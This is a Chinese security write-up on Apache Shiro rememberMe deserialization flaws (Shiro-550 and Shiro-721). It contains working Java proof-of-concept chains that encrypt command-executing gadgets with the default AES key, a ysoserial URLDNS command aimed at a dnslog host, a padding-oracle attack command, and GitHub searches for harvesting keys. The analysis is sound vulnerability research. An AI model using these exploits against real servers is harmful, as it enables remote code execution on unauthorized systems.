freeBuf
shiro反序列化漏洞分析及检测
2022-03-01 10:49:09
所属地 山西省

Shiro<1.2.4-RememberMe

也被称为 Shiro 550。

可使用 P神写的 demo

https://github.com/phith0n/JavaThings/blob/master/shirodemo

原理

Shiro 默认使用了CookieRememberMeManager,其处理cookie的流程:

得到 rememberMe的cookie值 --> base64解码 --> AES解密-->反序列化。

而shiro<1.2.4版本的AES的密钥是硬编码的,就导致攻击者可以任意构造恶意rememberMe的值造成反序列化。image-20220124100829693

Shiro 特征:

未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

CommonsCollections3.2.1 POC

未演示CC链的利用 添加 CC链依赖

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

勾选rememberMe多选框,登陆成功后服务端会返回一个 rememberMe 的 Cookie。

image-20220124101442951

攻击过程:

  1. 使用CC链生成序列化 payload

  2. 使用shiro 默认 key 加密

  3. base 64编码

  4. 将其作为 rememberMe 的 cookie 发送给服务端。

依赖:

<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-core</artifactId>
    <version>1.2.4</version>
</dependency>
package shiro;

import com.sun.crypto.provider.AESCipher;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC6 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
                new ConstantTransformer(1)
        };

        Transformer fakeChainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });
//        Transformer fakeChainedTransformer = new ChainedTransformer(transformers);


        HashMap innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, fakeChainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "foo");

        HashSet hashSet = new HashSet(1);
        hashSet.add(tiedMapEntry);
        outerMap.remove("foo");

        setFieldValue(fakeChainedTransformer,"iTransformers",transformers);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashSet);

        // 将其转化为 shiro 攻击 payload
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource encrypt = aes.encrypt(byteArrayOutputStream.toByteArray(), key);
        System.out.println(encrypt.toString());
    }
}

生成:

TM7qT0H6gX+GCq8cF35bokV4kMVqInubhHO0i7qHbWO8EBbtuDxHM8o61pkXMbYxEMn0LZKWv3TRf/pRxB/fta5NppDPqWdkNbZ7IPmNPuub6I0hnajm3+C5blpJTokY1FEiBhE18OoTpO4JhbBFu+ktgpmSjsTyVg6gZ+fzQiaG7bKNkdKDKkDvLWANRPoALHdYAm5sYIn9W8SeoQvEXu9Wsr9kvZ6xBmap6dobll9RJtEv8AMHunfnvYDgdwNIRyFzMOCmT/kQzf9TYYMUTEdVckgRZTjtgRwogCYtPFs+egrXbEVIWa3JvSBtnFYrfVEhI4gMFcV/RUpxUnW/cj5A57lEhBkxK0TTQJgiVZe1wmVAkBB7nzzSiL6uoh9Hmnw8uTiJCfLk1CWKYd5hLQpT9LG2mn2l6eqmc/08+nQfa1DnMcK4z9uJf+xWj9/3qDEaalmhdu9JMu/6ujguZ+dDY0OK2CO9KhjtnYE47ah1vdvzf6PwcEzpoQUrtHKbJ6+1Hz5QBc20Iik+vwwN1j6GXUOXh/rzPc4JNQDLeBMFtbVOvUBQAzTBWr36113D21q0KAEIAp8ZoKzOHZ0OuRl2iW8QULwvRdc61Dv6AIYORksQFzpEnaf8lL2mlwg0GRlm/RzU69hlYM3bMaypb7EDAZvAjySzLiTeIcRAnD4ZsvGzz+zHpUhjFYwVGDDR8h7EJ5zCwlwqA3vZjlBfhTiOQX3RCWmFfvzzAsG6mEI3JYLXNnYxJGDou4Nd2cvG2RGEggwYzreBTtRaW4wR+v1kBXSim1eVJaEFaAIQaJ/xJYG01MVZYnXs3iSJtsKlNkE/kk209vFYIPoXCyvMhwnvgWhpZrZvQnx+0jYeJO1b9bOoP8L/hN3JFR4mMB1LTRsVJoCHsTPEKzke8RGTnSrLnKv7TI0KxjQ3E+Df0tp86etJkz4wrALkxcdopHfl+AIOtMYMlefWFKckH35bnHTm0koWShC0nRGcok/MHbam0Pgxdotcx0036pp4k4baa8y1LNRlaSZyUTpx2hHgmfvmD2hOxbENL4lHHRuTnc+c35x9rzcZNDrEdEhEFyreVPXlVJ3NOM1M01SWXwIKuawlrLwhfnPOKKNjRxoU3sqO5OcobD/2jnGDbxCIFeOUvXEsBltoFVVIJNK4Sn+CeT5/ng0S0ZkfLQGHMpCS4x8MXPqIiMWVpSbA9QUwm7clg4Oiv26qCR21zp6220jBeUi79gJtmDuAX93Eez+aUuwukzc6nDfQ29Gu0l7OgdsxEdmGZp32bdS1BJrw9+C5xWxrsq1fl2THUcd+ZAhVbl8ufydFRUXaLGlmMG2OFlhiQqurZCDp4dXGh5WCvbbc27j6cxmPw3hJEFN0KbZZMOH2b2bJOeLh/UpOiv+NgmoatPo133NVoY09nU6ALx5RztC57F8SXVXEWblpXEzYz3i7vqPIYU3xPhP2/iCTLHvQ4IYHRrMspS9qOhQWVKxFfOB12UXxU7DBqZwLkfCBH51Nthby7zVpoV+327FQz7c6ffGw7UIPVQWqVF3BLB0x5T7Q8IMnzjWeopXRrtuRhdvVM6Jvqi3f6LNYZEeUl8Pk5XLSO5vEetyX9MnoES3WluUZOkaw9+V0XY0vyNPaccqmXgrnpHzqlBXfBVD8w0vNqxCycjptNJeZDhQpfYkRkLo=

作为 Cookie 的 rememberMe 值发包,但是并没有执行命令,而是报错了。

解决报错

image-20220124103456119

最后一行org.apache.shiro.io.ClassResolvingObjectInputStream,这是shiro的子类,其重写了resolveClass方法

package org.apache.shiro.io;

import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import org.apache.shiro.util.ClassUtils;
import org.apache.shiro.util.UnknownClassException;

public class ClassResolvingObjectInputStream extends ObjectInputStream {
    public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
        try {
            return ClassUtils.forName(osc.getName());
        } catch (UnknownClassException var3) {
            throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", var3);
        }
    }
}

resolveClass是反序列化中用来查找类的方法,也就是读取到一个字符串类名,然后通过这个方法找到对应的java.lang.Class对象。

正常的ObjectInputStream#resolveClass:

protected Class<?> resolveClass(ObjectStreamClass desc)
    throws IOException, ClassNotFoundException
{
    String name = desc.getName();
    try {
        return Class.forName(name, false, latestUserDefinedLoader());
    } catch (ClassNotFoundException ex) {
        Class<?> cl = primClasses.get(name);
        if (cl != null) {
            return cl;
        } else {
            throw ex;
        }
    }
}

区别:

前者用的是Classutils#forName(实际上是org.apache.catalina.loader.ParallelWebappClassLoader#loadClass) ,后者调用的是 java 原生的Class.forName

打断点查看

image-20220124104459909

出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer; 。这个类名看起怪,其实就是表示 org.apache.commons.collections.Transformer 的数组。

如果反序列化流中包含非java自身的数组,则会出现无法加载类的错误。而这里CC6用到了 Transformer数组。

构造不含数组的反序列化Gadget

Orange师傅文章中用到了JRMP的方式: http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html

我们也可以使用其他方法。

可以使用 javassist + TemplatesImpl 替换这里

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
    new ConstantTransformer(1)
};

为:

ClassPool pool = ClassPool.getDefault();
CtClass cc3 = pool.makeClass("shiro");
cc3.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
cc3.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] code = cc3.toBytecode();

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][]{code});
setFieldValue(obj,"_name","test");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());

但是这里是需要obj.new Transformer()来触发的,

Transformer[] transformers = new Transformer[]{ 
    new ConstantTransformer(obj), 
    new InvokerTransformer("newTransformer", null, null) 
};

这里又引入了数组。

在CC6TiedMapEntry中,其构造函数接收两个参数,参数1是Map,参数2是Object key

TiedMapEntry类有个getValue方法,调用了 map 的 get 方法,并传入 key :

public Object getValue() {
    return map.get(key);
}

当 map 是LazyMap时,其 get 方法就是触发 transform 的关键点:

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

之前使用LazyMap#get方法的参数没有用到过。因为通常 Transformer 数组的首个对象是ConstantTransformer, 通过它来初始化对象。

但是此时无法使用数组了,也不能使用ConstantTransformer相互调用了。但是,这里的LazyMap#get的参数key,会被传进transfoem里,那么它可以扮演ConstantTransformer的角色,

再看之前的数组:

Transformer[] transformers = new Transformer[]{ 
    new ConstantTransformer(obj), 
    new InvokerTransformer("newTransformer", null, null) 
};

new ConstantTransformer(obj), 可以去除了,数组也就无了。

这里可直接利用参数 input 反射调用任意方法。

image-20220124111908136

POC
package shiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class POC1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc3 = pool.makeClass("Shiro");
        cc3.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        cc3.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] code = cc3.toBytecode();

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_bytecodes",new byte[][]{code});
        setFieldValue(obj,"_name","test");
        setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        HashMap innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, obj);

        HashSet hashSet = new HashSet(1);
        hashSet.add(tiedMapEntry);
        outerMap.clear();

        setFieldValue(transformer,"iMethodName","newTransformer");

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashSet);

        // 将其转化为 shiro 攻击 payload
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource encrypt = aes.encrypt(byteArrayOutputStream.toByteArray(), key);
        System.out.println(encrypt.toString());
    }
}

成功

image-20220124112619178

https://www.anquanke.com/post/id/192619

CommonsCollections 4.0 POC

使用CC2,因为其本身就没有使用到数组

package shiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
import java.util.Queue;

public class CC2POC {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        // 获取默认类池
        ClassPool pool = ClassPool.getDefault();
        CtClass cc2 = pool.makeClass("CC2");
        cc2.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        cc2.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] code = cc2.toBytecode();

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_bytecodes",new byte[][]{code});
        setFieldValue(obj,"_name","test");
        setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());

        InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
        TransformingComparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(obj);
        queue.add(obj);

        setFieldValue(transformer,"iMethodName","newTransformer");

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(queue);
        

        // 将其转化为 shiro 攻击 payload
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource encrypt = aes.encrypt(byteArrayOutputStream.toByteArray(), key);
        System.out.println(encrypt.toString());

    }
}

https://www.anquanke.com/post/id/192619

CommonsBeanutils POC

上述两个POC是在有CommonsCollections组件的情况下才能利用。

实际中,可能并没有这个组件存在,那么CC链自然无法利用了。

将项目 pom.xml 中 CC组件去掉,

image-20220124130225680

image-20220124130148273

发现commons-beanutils依然存在,也就是或,shiro本身就是依赖 commons-beanutils 的。

那么尝试使用 CommonsBeanutils1 链进行攻击:

package shiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        // 获取默认类池
        ClassPool pool = ClassPool.getDefault();
        CtClass cc2 = pool.makeClass("CC2");
        cc2.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        cc2.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] code = cc2.toBytecode();

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_bytecodes",new byte[][]{code});
        setFieldValue(obj,"_name","test");
        setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());

        BeanComparator comparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator,"property","outputProperties");
        setFieldValue(queue,"queue",new Object[]{obj,1});

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(queue);
        outputStream.close();
        System.out.println(byteArrayOutputStream);

        // 将其转化为 shiro 攻击 payload
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource encrypt = aes.encrypt(byteArrayOutputStream.toByteArray(), key);
        System.out.println(encrypt.toString());

    }
}

报错了

image-20220124130741965

serialVersionUID的问题:

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患。

当然,开发者也可以手工给类赋予一个 serialVersionUID 值,此时就能手工控制兼容性了。所以,出现错误的原因就是,本地使用的commons-beanutils是1.9.4版本,而Shiro中自带的commons-beanutils是1.8.3版本,出现了 serialVersionUID 对应不上的问题。

image-20220124131138739

解决方法也比较简单,将本地的commons-beanutils也换成1.8.3版本

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.8.3</version>
</dependency>

替换后,又报错了

Unable to load ObjectStreamClass [org.apache.commons.collections.comparators.ComparableComparator: static final long serialVersionUID = -291439688585137865L;]: 

image-20220124131523163

没有找到org.apache.commons.collections.comparators.ComparableComparator,这个类来自commons.collections

commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。

所以此链无法利用。

无依赖Shiro反序列化利用链

这个类org.apache.commons.collections.comparators.ComparableComparator在这里用到了

image-20220124151312148

BeanComparator构造函数处,没有显式传入comparator时,默认使用ComparableComparator

我们此时需要找一个类来替换,需要满足:

  • 实现java.util.Comparator接口

  • 实现java.io.Serializable接口

  • java, shiro ,或 Commons-beanutils 自带,且兼容性强

找到

image-20220124152543278

java.lang.String内部私有类,满足要求

image-20220124152618026

通过String.CASE_INSENSITIVE_ORDER拿到CaseInsensitiveComparator。那么就可以构造POC

package shiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB1POC {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        // 获取默认类池
        ClassPool pool = ClassPool.getDefault();
        CtClass cc2 = pool.makeClass("CC2");
        cc2.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        cc2.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
        byte[] code = cc2.toBytecode();

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_bytecodes",new byte[][]{code});
        setFieldValue(obj,"_name","test");
        setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());

        BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator,"property","outputProperties");
        setFieldValue(queue,"queue",new Object[]{obj,1});

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(queue);
        outputStream.close();
        System.out.println(byteArrayOutputStream);

        // 将其转化为 shiro 攻击 payload
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource encrypt = aes.encrypt(byteArrayOutputStream.toByteArray(), key);
        System.out.println(encrypt.toString());

    }
}

成功:

image-20220124153112746

类似的还有java.util.Collections$ReverseComparator

参考:

Java安全漫谈 - 17.CommonsBeanutils与无commons-collections的Shiro反序列化利用.pdf

调试

加密

Shiro≤1.2.4版本默认使用CookieRememberMeManager

image-20220124154307647

继承了AbstractRememberMeManager,跟进看看

image-20220124154346858

这里有硬编码的密钥,

又继承了RememberMeManager,跟进

image-20220124154424317

看名字也知道这是一些登录成功、失败、退出的一些接口,

那么我们在登录成功的法昂发处下断点

image-20220124154939895

调用isRememberMe判断是否选择Remember me 多选框,

image-20220124155214120

我们选择了,所以返回 true ,

跟进

this.rememberIdentity(subject, token, info);

subject:  存储一些登录信息,如 session等
token:  存储用户的账户密码,是否勾选多选框,host信息
info:   存储用户信息   

跟进rememberIdentitythis.getIdentityToRemember获取身份,

PrincipalCollection是一个身份集合。

image-20220124155708771

跟进this.rememberIdentity

image-20220124155954033

将身份信息使用convertPrincipalsToBytes方法处理,跟进

image-20220124164244804

看到serialize方法

image-20220124164405844

image-20220124164804337

这里先转换为 byte ,写入缓冲区,然后进行序列化。

回到convertPrincipalsToBytes,进入this.getCipherService()

image-20220124165233035

这里

private CipherService cipherService = new AesCipherService();

image-20220124165250213

image-20220124165344594

不为空,进入 if

那么跟进encrypt

image-20220124165514242

这里获取加密服务后,进行加密

image-20220124165811336

this.getEncryptionCipherKey();  获取AES密钥,就是之前硬编码的key

具体加密操作不在跟进,

加密得到 set-Cookie rememberMe的值,

image-20220124170126686

回到rememberIdentity

image-20220124170246479

跟进rememberSerializedIdentity

image-20220124170402129

是对 cookie进行的一些处理操作,

跟进saveTo,最终添加 cookie 头。

image-20220124170506146

解密

getRememberedPrincipals方法下断点,

进入断点

image-20220124170915060

跟进getRememberedSerializedIdentity

image-20220124171358059

到这里就是要读取 cookie值了,

跟进readValue

image-20220124171452706

跟进getCookie,传参 name 为rememberMe

image-20220124171918198

得到传进来的cookie值,然后判断参数为rememberMe,进入 if ,返回 cookie。

回到readValue

image-20220124172125946

返回 cookie rememberMe的值。

回到getRememberedSerializedIdentity

image-20220124172403371

进入 esle if ,进行 base64解码,返回解码后的值

回到rememberSerializedIdentity

image-20220124172553800

跟进convertBytesToPrincipals

image-20220124173231597

decrypt进行解密操作,跟进

image-20220124173316908

使用获得密码服务,然后使用AES密钥解密,最后返回解密后的字节。

回到convertBytesToPrincipals

image-20220124173429430

跟进deserialize,应该是反序列化了,

image-20220124173501872

image-20220124173549538

将数据写入缓冲,然后反序列化ois.readObject()

成功命令执行

image-20220124173635062

链:

rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化

https://www.bilibili.com/read/cv9949257

Shiro<1.4.2

也叫Shiro 721。

影响版本

1.2.5,  
1.2.6,  
1.3.0,  
1.3.1,  
1.3.2,  
1.4.0-RC2,  
1.4.0,  
1.4.1

原理

Shiro 1.2.5之后,shiro采用了随机密钥,也就引出了SHIRO-721。

Apache Shiro 存在高危代码执行漏洞。该漏洞是由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

Padding Oracle Attack实例分析

说明:

其中有一个重要的理论基础:Padding Oracle 攻击是应用/服务AES密文在 Padding(格式) 不对时能够有明显的区别,通过 padding 是否正确推断出中间值(每组中间值只和密文一一对应),这样就可以不用知道AES密钥时,构造密文,使之解密为我们想要的明文。

接受到正确的密文之后(填充正确且包含合法的值),应用程序正常返回(200 - OK)。

接受到非法的密文之后(解密后发现填充不正确),应用程序抛出一个解密异常(500 - Internal Server Error)。

接受到合法的密文(填充正确)但解密后得到一个非法的值,应用程序显示自定义错误消息(200 - OK)

接受到非法的密文之后(解密后发现填充不正确)和 合法的密文(填充正确)但解密后得到一个非法的值 响应不同。

分析

Shiro对cookie的处理过程

img

成功返回

image-20220124191511716

失败返回rememberMe=deleteMe;

image-20220124191532726

所以我们需要首先获取到成功登录后的 rememberMe的值,然后利用 padding Oracle 构造自己的数据,来对比不同。

还有一个java trick:

java序列化后 数据后添加脏数据不会影响反序列化结果。

环境搭建

https://github.com/inspiringz/Shiro-721

下载环境: https://github.com/apache/shiro/archive/refs/tags/shiro-root-1.4.1.zip

idea打开shiro/sample/web目录,

添加tomcat,并进行配置一下就ok。

漏洞利用

  1. 登录网站(勾选Remember),并从Cookie中获取合法的RememberMe。

  2. 使用RememberMe cookie作为Padding Oracle Attack的前缀。

  3. 加密 ysoserial 的序列化 payload,以通过Padding Oracle Attack制作恶意RememberMe。

  4. 重放恶意RememberMe cookie,以执行反序列化攻击。

成功登录拿到cookie

image-20220207121440573

使用 ysoserial 生成 urldns payload,

java8 -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://m5v8rq.dnslog.cn" > urldns.ser

通过脚本shiro_exp.py爆破

python2 shiro_exp.py http://localhost:8080/ SFm/ZCRElAfEgLz8ciu9v2MVPpNbErTogOQ62L/J4zPEPbEaomvzY+fyiPG81J7XGN1HJA5Traa0yi87XXGwZMmNqoBGfPH/WRVtOdS7XLmv29XrzsNnctXlSrl/h9hs+C2mCZQ9D7SpeTYPue+ZCyuzau/wIMvMDdsUCrNMTQMqwcdDddQ+JoLgoWj4hV/SJD++TSX6szBLxZBcU/IdV99OU/Grd4weXjBnedqbvbS6ZrTYeCBDrqVBDeAtlBsDMt7AwvRDK+TGDBICWdp+X1M27xVrrrGbuDHVmVmwRv2xB4juVDE9TZmei1oQUPTjMfhiEzaM1cSI9io/IKX/LlOt7XL0pZbejbGreLmHv5nfJY584QEv1h5EX+iR6SdYnz36AlssmW9ZeUvkAPegKF8J/C4POhlhrQl1dXbHfssRugo0IPyjpS/ZyDxFAv1vXHPmHwp+vMy6M98ZhGrRCKeQAeAHl1ENKo9i59BnwxDIudZo3RYn66oMnAVrf2d0 urldns.ser

生成新的rememberMe的值,将其替换重放,dnslog即可收到请求。

image-20220207123149256

替换后发包即可收到请求

image-20220207123307440

注意将 sessionid删除掉,因为它也是认证字段,如果sessionId还有效,那么就不会触发认证流程。

修复

在 1.4.2 之后将默认的AEC-CBC模式改为 AES-GCM

收集 key

在 github 上收集

securityManager.rememberMeManager.cipherKey

securityManager.setRememberMeManager(rememberMeManager);

Base64.decode(

Base64.decode( shiro

setCipherKey(Base64.decode(

securityManager.rememberMeManager.cipherKey=

key 收集
https://github.com/yanm1e/shiro_key

shiro 检测key

可以使用 urldns 链检测,其不受jdk版本限制,也需依赖,但是这种方法有一定的局限性,比如:不出网、有延迟、目标地址网络连接被waf阻断等等。

所以来看 一种另类的 shiro 检测方式。

requestcookie中写入 rememberMe=1(这个值是随便的);

response 返回包返回rememberMe=deleteMe

image-20220219161738228

调试跟一下,

AbstractRememberMeManager#getRememberedPrincipals下断点

image-20220219162109117

看看getRememberedSerializedIdentity干了啥,跟进

image-20220219162256455

很明显,拿到刚传的 cookie 值,然后补齐格式,base64解码后返回。

然后回到getRememberedPrincipals,满足if 条件进入,注意这里还有个 catch 捕获异常

image-20220219162731869

跟进convertBytesToPrincipals

image-20220219162844036

拿到解密服务后,进行解密,跟进

image-20220219162928431

继续跟进, decrypt 参数中有个 key 参数,

image-20220219163032491

这里解密拿 key 解密我们传过去的值,肯定是失败了,所以捕获到异常后抛出。

转而被刚开始getRememberedPrincipals方法中捕获到异常,

image-20220219163136755

跟进onRememberedPrincipalFailure

image-20220219163219570

跟进forgetIdentity

image-20220219163247407

将 request 和 response 放到forgetIdentity方法,跟进

image-20220219163327113

继续跟进removeFrom

image-20220219163428542

最后就是添加 response 头了

image-20220219163547640

还有

我们拿 gadget 去打的时候,拿正确的 key 进行shiro加密算法进行加密,但是最后依然在 response里面携带了rememberMe=deleteMe

image-20220219163907218

